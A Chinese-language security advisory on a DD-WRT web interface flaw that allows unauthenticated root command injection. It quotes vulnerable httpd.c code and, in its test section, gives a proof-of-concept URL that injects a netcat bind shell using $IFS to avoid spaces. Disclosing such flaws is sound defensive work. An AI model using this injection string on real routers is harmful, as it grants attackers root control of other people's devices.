安全研究

安全漏洞
DD-WRT Web管理接口远程Shell命令注入漏洞

发布日期:2009-07-20
更新日期:2009-07-21

受影响系统:
NewMedia-NET DD-WRT 24 sp1
描述:
BUGTRAQ  ID: 35742
CVE(CAN) ID: CVE-2009-2765,CVE-2009-2766,CVE-2008-6974,CVE-2008-6975

DD-WRT是一个供无线路由器使用的嵌入版Linux,可以在普通的家用无线路由器实现商用无线路由器功能。

DD-WRT的httpd.c文件中存在多个安全漏洞:

859             if (containsstring(file, "cgi-bin")) {
860     
861                     auth_fail = 0;
862                     if (!do_auth
863                         (conn_fp, auth_userid, auth_passwd, auth_realm,
864                          authorization, auth_check))
865                             auth_fail = 1;


......... (snip)............

899     
900                     }
901                     exec = fopen("/tmp/exec.tmp", "wb");
902                     fprintf(exec, "export REQUEST_METHOD=\"%s\"\n", method);
903                     if (query)
904                             fprintf(exec, "/bin/sh %s/%s</tmp/exec.query\n",
905                                     server_dir != NULL ?
server_dir : "/www",file);
906                     else
907                             fprintf(exec, "/%s/%s\n",
908                                     server_dir != NULL ? server_dir : "/www",
file);
909                     fclose(exec);
910     
911                     if (query) {
912                             exec = fopen("/tmp/exec.query", "wb");
913                             fprintf(exec, "%s\n", query);

........................

这里存在两个问题:

1) 没有处理元字符。
2) 未经认证便执行了命令。

如果没有通过认证就不会给出任何输出。

.......................

914                             free(query);
915                             fclose(exec);
916                     }
917     
918                     system2("chmod 700 /tmp/exec.tmp");
919                     system2("/tmp/exec.tmp>/tmp/shellout.asp");

........... (snip)..........

926                     if (auth_fail == 1) {
927                             send_authenticate(auth_realm);
928                             auth_fail = 0;

------------

3) httpd以root用户权限运行。

结合以上三个问题,任何能够连接到Web管理接口的未经认证的攻击者都可以在浏览器中通过类似于以下的URL获得对设备的root访问:

http://routerIP/cgi-bin/;command_to_execute

<*来源:gat3way
  
  链接:http://milw0rm.com/exploits/9209
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://routerIP/cgi-bin/;nc$IFS-l$IFS-p$IFS\5555$IFS-e$IFS/bin/sh

建议:
厂商补丁:

NewMedia-NET
------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.dd-wrt.com

浏览次数:3618
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障